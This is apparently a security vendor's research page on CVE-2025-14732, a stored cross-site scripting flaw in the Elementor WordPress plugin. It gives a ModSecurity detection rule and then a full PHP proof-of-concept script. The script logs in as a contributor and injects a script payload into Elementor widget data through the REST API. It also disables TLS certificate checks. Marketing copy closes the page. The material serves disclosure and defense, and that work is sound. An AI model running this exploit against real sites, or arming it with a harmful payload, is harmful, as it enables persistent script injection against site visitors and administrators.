    SecRule REQUEST_BODY "@rx _elementor_data[^:]*:[^}]*<script" 
      "t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:lowercase,t:removeWhitespace,t:removeNulls,ctl:requestBodyProcessor=JSON"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14732 - Elementor Website Builder <= 3.35.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API

<?php
/**
 * Proof of Concept for CVE-2025-14732
 * Requires Contributor-level credentials for the target WordPress site
 * This script demonstrates stored XSS via Elementor's REST API endpoint
 */

$target_url = 'https://example.com'; // Change to target WordPress site
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password

// Malicious payload to inject - basic alert demonstration
$malicious_payload = '<script>alert("Atomic Edge Research - CVE-2025-14732");</script>';

// Create Elementor data with XSS payload in a widget parameter
$elementor_data = [
    [
        'id' => 'test_widget_' . uniqid(),
        'elType' => 'widget',
        'settings' => [
            'title' => 'Vulnerable Widget',
            'description' => $malicious_payload, // XSS payload injected here
            'other_param' => 'normal_value'
        ],
        'elements' => []
    ]
];

// Get authentication token via REST API
function get_wp_rest_token($site_url, $username, $password) {
    $auth_url = $site_url . '/wp-json/jwt-auth/v1/token';
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $auth_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
        'username' => $username,
        'password' => $password
    ]));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Accept: application/json'
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200) {
        // Try alternative authentication if JWT not available
        return authenticate_with_basic($site_url, $username, $password);
    }
    
    $data = json_decode($response, true);
    return $data['token'] ?? null;
}

// Alternative authentication using application passwords or basic auth
function authenticate_with_basic($site_url, $username, $password) {
    // This would use WordPress Application Passwords or basic auth
    // Implementation depends on target configuration
    return base64_encode($username . ':' . $password);
}

// Create a post with malicious Elementor data
function create_vulnerable_post($site_url, $auth_token, $elementor_data) {
    $post_url = $site_url . '/wp-json/wp/v2/posts';
    
    $post_data = [
        'title' => 'Atomic Edge Test - CVE-2025-14732',
        'content' => 'This post contains Elementor data with XSS payload',
        'status' => 'draft', // Contributor can create drafts
        'meta' => [
            '_elementor_data' => json_encode($elementor_data),
            '_elementor_edit_mode' => 'builder',
            '_elementor_version' => '3.35.5'
        ]
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $post_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Accept: application/json',
        'Authorization: Bearer ' . $auth_token
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "HTTP Response Code: $http_coden";
    echo "Response: $responsen";
    
    if ($http_code === 201) {
        $data = json_decode($response, true);
        echo "nSuccess! Post created with ID: " . ($data['id'] ?? 'unknown') . "n";
        echo "Visit the post to trigger XSS: " . ($data['link'] ?? 'N/A') . "n";
    } else {
        echo "nFailed to create post. The site may be patched or authentication failed.n";
    }
}

// Main execution
$token = get_wp_rest_token($target_url, $username, $password);

if ($token) {
    echo "Authentication successful. Creating vulnerable post...nn";
    create_vulnerable_post($target_url, $token, $elementor_data);
} else {
    echo "Authentication failed. Check credentials and ensure REST API is enabled.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School